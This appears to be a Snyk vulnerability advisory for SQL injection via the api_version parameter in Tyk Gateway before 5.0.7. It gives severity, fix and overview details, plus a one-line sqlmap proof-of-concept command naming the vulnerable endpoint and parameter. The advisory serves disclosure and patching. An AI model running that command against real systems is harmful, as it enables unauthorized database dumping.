SQL Injection Affecting github.com/tyktechnologies/tyk/gateway package, versions <5.0.7


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.14% (52nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about SQL Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-GOLANG-GITHUBCOMTYKTECHNOLOGIESTYKGATEWAY-6056239
  • published13 Nov 2023
  • disclosed7 Nov 2023
  • creditandreysanyuk

Introduced: 7 Nov 2023

CVE-2023-42284  (opens in a new tab)
CWE-89  (opens in a new tab)

How to fix?

Upgrade github.com/TykTechnologies/tyk/gateway to version 5.0.7 or higher.

Overview

github.com/TykTechnologies/tyk/gateway is a Tyk Gateway API

Affected versions of this package are vulnerable to SQL Injection via the api_version parameter. An attacker can access and dump the database by crafting a specific SQL query.

PoC

python.exe .\sqlmap.py -u "https://<INSERT YOUR URL>/api/errors/count/11/8/2022/13/1/2022?res=day&p=-1&api_version=Non%20Versioned&api_id=<INSERT YOUR API_ID>" -p "api_version" --cookie="<INSERT COOKIE HERE> --banner

References

CVSS Scores

version 3.1